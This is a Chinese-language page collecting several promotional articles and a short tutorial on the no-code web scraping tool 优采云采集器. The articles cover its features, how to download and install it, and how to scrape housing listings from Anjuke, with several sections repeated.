(7)深入采集、子网页采集
如果用户需要采集详情页的信息,可以点击左上角的深入采集按钮,或者直接点击某一条链接,从而打开详情页,采集详情页的数据。
(8)设置数据筛选/采集范围
在编辑任务的过程中,用户如果需要设置一些筛选条件或者设置采集范围,可以点击页面上相对应的按钮进行功能设置。
(9)采集任务的设置
在启动采集任务之前,我们需要对采集任务进行配置,包括定时启动、智能策略、自动导出、文件下载、加速引擎、数据去重及开发者设置。
(10)查看采集结果及导出数据
在采集任务结束之后,用户可以查看采集结果并导出数据。
三
软件的下载
(1)优采云采集器的下载及安装
优采云采集器支持Windows、Mac和Linux全操作系统。您可以进入官网首页()直接下载软件,网站会根据你的操作系统推送相应的版本。
(2)优采云采集器的注册及设置
打开优采云采集器,点击左上角进行新用户注册。您可以选择手机注册或者邮箱注册,优采云采集器为优采云旗下产品,如果您已经注册过优采云的账号,可以直接使用优采云的账号进行登陆,无需再次注册。
(3)软件升级
一般情况下,优采云采集器会自动识别新版本提示更新,如果没有提示的话,也可以在设置内检查更新,然后登录官网下载最新版本的安装包,下载完毕后直接双击打开即可进行完成软件更新。
优采云采集器是一款非常优秀的数据采集软件,它提供的免费功能可以解决绝大部分的数据抓取需求。如果有一些编程基础,可以明显的看出一些功能是对编程语言逻辑的封装,比如说流程图模式是对流程控制的封装,数据清洗功能是对字符串处理函数的封装。这些高阶功能扩展了优采云采集器的能力,也增大了学习难度。 查看全部
白杨数说 | 优采云采集器,零代码实现爬虫
优采云采集器是由前谷歌搜索技术团队基于人工智能技术研发的新一代网页采集软件。该软件功能强大,操作简单,不仅能够进行数据的自动化采集,而且在采集过程中还可以对数据进行清洗。在数据源头即可实现多种内容的过滤。
通过使用优采云采集器,用户能够快速、准确地获取海量网页数据,从而彻底解决了人工收集数据所面临的各种难题,降低了获取信息的成本,提高了工作效率。
接下来我们来一起看看这款软件的优秀之处。
一
功能介绍
优采云采集器是一款免费的采集软件,其采集工作分为两种类型:流程图模式与智能模式。
流程图模式的本质是图形化编程。该模式不仅可以支持可视化的网页点选操作,完全符合人工浏览网页的思维方式,用户只需要打开被采集的网站,用鼠标点击几下就能自动生成复杂的数据采集规则;同时支持积木式采集组件拼接操作,通过将复杂的采集编码流程进行可视化封装,让开发采集规则就像搭积木一样简单,零基础也能很快上手。
智能模式是加载网页后,软件自动分析网页结构,智能识别网页内容,简化操作流程。这种模式比较适合简单的网页爬取。
除以上两种采集工作,优采云采集器还支持以下功能:
※采集任务:100个任务,支持多任务同时运行,无数量限制
※ 采集网址:无数量限制,支持手动输入,从文件导入,批量生成
※ 采集内容:无数量限制
※ 下载图片:无数量限制
※ 导出数据:导出数据到本地(无数量限制),导出格式:Excel、Txt、Csv、Html
※ 发布到数据库:无数量限制,支持发布到本地和云端服务器,支持类型:MySQL、PgSQL、SqlServer、MongoDB
※ 数据处理:字段合并,文本替换,提取数字、提取邮箱,去除字符、正则替换等
※筛选功能:根据条件组合对采集字段进行筛选
※预登录采集:采集需要登录才能查看内容的网址
二
智能模式爬取网页
智能模式下的网页爬取只需要输入被采集的网址就能智能识别出网页中的内容和分页按钮,无需配置采集规则就能够完成数据的采集。接下来我们详细介绍一下智能模式的基本操作。
(1)输入正确的网址
输入了正确的网址,这个采集任务就成功了一半。
优采云采集器支持单网址和多网址采集,支持从本地TXT文件中导入网址,也支持参数网址批量生成。
(2)选择页面类型及设置分页
在智能模式下,优采云采集器会自动识别网页,如果出现识别不准确的情况,此时您可以先手动自动识别一下,如果手动自动识别还不起效果,您可以手动点选列表,从而辅助软件识别出正确的结果。
(3)预登录
在编辑任务过程中,我们有时候会遇到需要登录才能查看内容的网页,这时我们需要用到预登录功能,登录成功之后就能进行正常的数据采集。
(4)预执行操作
在编辑任务过程中,如果用户需要进行点击操作,可以使用预执行操作来满足用户需求。
(5)网络安全设置
在编辑任务过程中,用户如果遇到网页异常的时候可以试着使用此功能,但是要注意打开此选项可能导致页面上的某些内容无法采集(如iframe中的内容)。
(6)设置提取字段
智能模式下,软件会自动识别网页中的数据并展示到采集结果预览窗口,用户可以根据自己的需求对字段进行设置。
(7)深入采集、子网页采集
如果用户需要采集详情页的信息,可以点击左上角的深入采集按钮,或者直接点击某一条链接,从而打开详情页,采集详情页的数据。
(8)设置数据筛选/采集范围
在编辑任务的过程中,用户如果需要设置一些筛选条件或者设置采集范围,可以点击页面上相对应的按钮进行功能设置。
(9)采集任务的设置
在启动采集任务之前,我们需要对采集任务进行配置,包括定时启动、智能策略、自动导出、文件下载、加速引擎、数据去重及开发者设置。
(10)查看采集结果及导出数据
在采集任务结束之后,用户可以查看采集结果并导出数据。
三
软件的下载
(1)优采云采集器的下载及安装
优采云采集器支持Windows、Mac和Linux全操作系统。您可以进入官网首页()直接下载软件,网站会根据你的操作系统推送相应的版本。
(2)优采云采集器的注册及设置
打开优采云采集器,点击左上角进行新用户注册。您可以选择手机注册或者邮箱注册,优采云采集器为优采云旗下产品,如果您已经注册过优采云的账号,可以直接使用优采云的账号进行登陆,无需再次注册。
(3)软件升级
一般情况下,优采云采集器会自动识别新版本提示更新,如果没有提示的话,也可以在设置内检查更新,然后登录官网下载最新版本的安装包,下载完毕后直接双击打开即可进行完成软件更新。
优采云采集器是一款非常优秀的数据采集软件,它提供的免费功能可以解决绝大部分的数据抓取需求。如果有一些编程基础,可以明显的看出一些功能是对编程语言逻辑的封装,比如说流程图模式是对流程控制的封装,数据清洗功能是对字符串处理函数的封装。这些高阶功能扩展了优采云采集器的能力,也增大了学习难度。
互联网数据采集器---优采云
网站优化 • 优采云 发表了文章 • 0 个评论 • 1081 次浏览 • 2022-06-23 09:46
优采云数据采集系统以完全自主研发的分布式云计算平台为核心,可以在很短的时间内,轻松从各种不同的网站或者网页获取大量的规范化数据,帮助任何需要从网页获取信息的客户实现数据自动化采集,编辑,规范化,摆脱对人工搜索及收集数据的依赖,从而降低获取信息的成本,提高效率。
下载网址:
折叠编辑本段主要功能
简单来讲,使用优采云可以非常容易的从任何网页精确采集你需要的数据,生成自定义的、规整的数据格式。优采云数据采集系统能做的包括但并不局限于以下内容:
1. 金融数据,如季报,年报,财务报告, 包括每日最新净值自动采集;
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5. 收集最新最全的职场招聘信息;
6. 监控各大地产相关网站,采集新房二手房最新行情;
7. 采集各大汽车网站具体的新车二手车信息;
8. 发现和收集潜在客户信息;
9. 采集行业网站的产品目录及产品信息;
10. 在各大电商平台之间同步商品信息,做到在一个平台发布,其他平台自动更新。
折叠编辑本段产品优势折叠操作简单
操作简单,完全可视化图形操作,无需专业IT人员,任何会使用电脑上网的人都可以轻松掌握。
折叠云采集
采集任务自动分配到云端多台服务器同时执行,提高采集效率,可以很短的时间内 获取成千上万条信息。
折叠拖拽式采集流程
模拟人的操作思维模式,可以登陆,输入数据,点击链接,按钮等,还能对不同情况采取不同的采集流程。
折叠图文识别
内置可扩展的OCR接口,支持解析图片中的文字,可将图片上的文字提取出来。
折叠定时自动采集
采集任务自动运行,可以按照指定的周期自动采集,并且还支持最快一分钟一次的实时采集。
折叠2分钟快速入门
内置从入门到精通所需要的视频教程,2分钟就能上手使用,另外还有文档,论坛,qq群等。
折叠免费使用
它是免费的,并且免费版本没有任何功能限制,你现在就可以试一试,立即下载安装。
配置视频教程: 查看全部
互联网数据采集器---优采云
优采云数据采集系统以完全自主研发的分布式云计算平台为核心,可以在很短的时间内,轻松从各种不同的网站或者网页获取大量的规范化数据,帮助任何需要从网页获取信息的客户实现数据自动化采集,编辑,规范化,摆脱对人工搜索及收集数据的依赖,从而降低获取信息的成本,提高效率。
下载网址:
折叠编辑本段主要功能
简单来讲,使用优采云可以非常容易的从任何网页精确采集你需要的数据,生成自定义的、规整的数据格式。优采云数据采集系统能做的包括但并不局限于以下内容:
1. 金融数据,如季报,年报,财务报告, 包括每日最新净值自动采集;
2. 各大新闻门户网站实时监控,自动更新及上传最新发布的新闻;
3. 监控竞争对手最新信息,包括商品价格及库存;
4. 监控各大社交网站,博客,自动抓取企业产品的相关评论;
5. 收集最新最全的职场招聘信息;
6. 监控各大地产相关网站,采集新房二手房最新行情;
7. 采集各大汽车网站具体的新车二手车信息;
8. 发现和收集潜在客户信息;
9. 采集行业网站的产品目录及产品信息;
10. 在各大电商平台之间同步商品信息,做到在一个平台发布,其他平台自动更新。
折叠编辑本段产品优势折叠操作简单
操作简单,完全可视化图形操作,无需专业IT人员,任何会使用电脑上网的人都可以轻松掌握。
折叠云采集
采集任务自动分配到云端多台服务器同时执行,提高采集效率,可以很短的时间内 获取成千上万条信息。
折叠拖拽式采集流程
模拟人的操作思维模式,可以登陆,输入数据,点击链接,按钮等,还能对不同情况采取不同的采集流程。
折叠图文识别
内置可扩展的OCR接口,支持解析图片中的文字,可将图片上的文字提取出来。
折叠定时自动采集
采集任务自动运行,可以按照指定的周期自动采集,并且还支持最快一分钟一次的实时采集。
折叠2分钟快速入门
内置从入门到精通所需要的视频教程,2分钟就能上手使用,另外还有文档,论坛,qq群等。
折叠免费使用
它是免费的,并且免费版本没有任何功能限制,你现在就可以试一试,立即下载安装。
配置视频教程:
【教程】使用优采云采集器软件爬取网页数据
网站优化 • 优采云 发表了文章 • 0 个评论 • 141 次浏览 • 2022-06-22 04:37
地图可视化离不开数据的支撑,很多人苦于无法获取数据或者不知道怎么获取数据,可能很多人听说过“爬虫”,也听说过通过Python来“写爬虫”,毕竟这是获取网页数据的主要手段之一。但是对于很多不熟悉Python语言的人来说,“写爬虫”的技术难度高,学习过程耗时。今天,我们将介绍一个数据采集软件——优采云采集器,并提供一个简要使用教程,使您无需编写代码就可以爬取网页数据。
在开始收集数据前,我们需进去优采云采集器官网,下载软件并安装。网址:,可点击左下“阅读原文”可直接访问。
爬取网页数据的步骤:
1.打开优采云采集器。
2.新建分组:菜单栏“开始”,点击新建分组,输入采集网站名称为分组名称,(通常在“采网址”和“采内容”选项下打勾)。
3.新建任务:选择新建的分组,点击“新建任务”或者鼠标右键选择“新建任务”,进入到新建页面。任务规则名为采集的对象名。新建任务界面中,包含四个步骤:网址采集规则、内容采集规则、内容发布规则和其他设置。
4.添加网址
第一步:网址采集规则
查看需爬取网址的特点,选择起始网址的添加方式(普通网址、批量网址、文本导入和数据库导入)。点击起始网址任务条中的“向导编辑”,在网址格式中添加地址,确定即可。本例选取北京市安居客小区网址为例,经观察测试可知,网页的网址出现规律,选择批量网址。
回到“网址采集规则”页面,设置起始网址就是内容页网址,并给“任务规则名”命名。网页。
第二步:内容采集规则
打开北京安居客网址,F12或(Fn+F12),点击鼠标选取方式。通过鼠标依次点小区名称、小区地址以及当月价格等网页中所需要的信息对应的位置,获取相关代码,鼠标右键,复制选择。
根据这些HTML内容和自己需要的内容,在标签列表中,点击操作任务栏中的“添加”来增加新的标签,或者点击已有的标签,进行修改。在标签编辑栏中,标签提取方式有前后截取、正则提取、正文提取等方式。数据处理对话框中,文件下载中的数据支持图片、flash等文件。
*号为所需要采集的参数。
输入网页网址,测试结果。
测试结果无误后,选择数据保存。注意:保存文件时,模板设置一定要与收集的数据字段一致。
运行。
结果查看。
优采云采集器不仅仅可以采集网页数据,还可以基于API进行数据采集。大家不妨操作试试,定会有不一样的收获(杨慧测试、撰写)。 查看全部
【教程】使用优采云采集器软件爬取网页数据
地图可视化离不开数据的支撑,很多人苦于无法获取数据或者不知道怎么获取数据,可能很多人听说过“爬虫”,也听说过通过Python来“写爬虫”,毕竟这是获取网页数据的主要手段之一。但是对于很多不熟悉Python语言的人来说,“写爬虫”的技术难度高,学习过程耗时。今天,我们将介绍一个数据采集软件——优采云采集器,并提供一个简要使用教程,使您无需编写代码就可以爬取网页数据。
在开始收集数据前,我们需进去优采云采集器官网,下载软件并安装。网址:,可点击左下“阅读原文”可直接访问。
爬取网页数据的步骤:
1.打开优采云采集器。
2.新建分组:菜单栏“开始”,点击新建分组,输入采集网站名称为分组名称,(通常在“采网址”和“采内容”选项下打勾)。
3.新建任务:选择新建的分组,点击“新建任务”或者鼠标右键选择“新建任务”,进入到新建页面。任务规则名为采集的对象名。新建任务界面中,包含四个步骤:网址采集规则、内容采集规则、内容发布规则和其他设置。
4.添加网址
第一步:网址采集规则
查看需爬取网址的特点,选择起始网址的添加方式(普通网址、批量网址、文本导入和数据库导入)。点击起始网址任务条中的“向导编辑”,在网址格式中添加地址,确定即可。本例选取北京市安居客小区网址为例,经观察测试可知,网页的网址出现规律,选择批量网址。
回到“网址采集规则”页面,设置起始网址就是内容页网址,并给“任务规则名”命名。网页。
第二步:内容采集规则
打开北京安居客网址,F12或(Fn+F12),点击鼠标选取方式。通过鼠标依次点小区名称、小区地址以及当月价格等网页中所需要的信息对应的位置,获取相关代码,鼠标右键,复制选择。
根据这些HTML内容和自己需要的内容,在标签列表中,点击操作任务栏中的“添加”来增加新的标签,或者点击已有的标签,进行修改。在标签编辑栏中,标签提取方式有前后截取、正则提取、正文提取等方式。数据处理对话框中,文件下载中的数据支持图片、flash等文件。
*号为所需要采集的参数。
输入网页网址,测试结果。
测试结果无误后,选择数据保存。注意:保存文件时,模板设置一定要与收集的数据字段一致。
运行。
结果查看。
优采云采集器不仅仅可以采集网页数据,还可以基于API进行数据采集。大家不妨操作试试,定会有不一样的收获(杨慧测试、撰写)。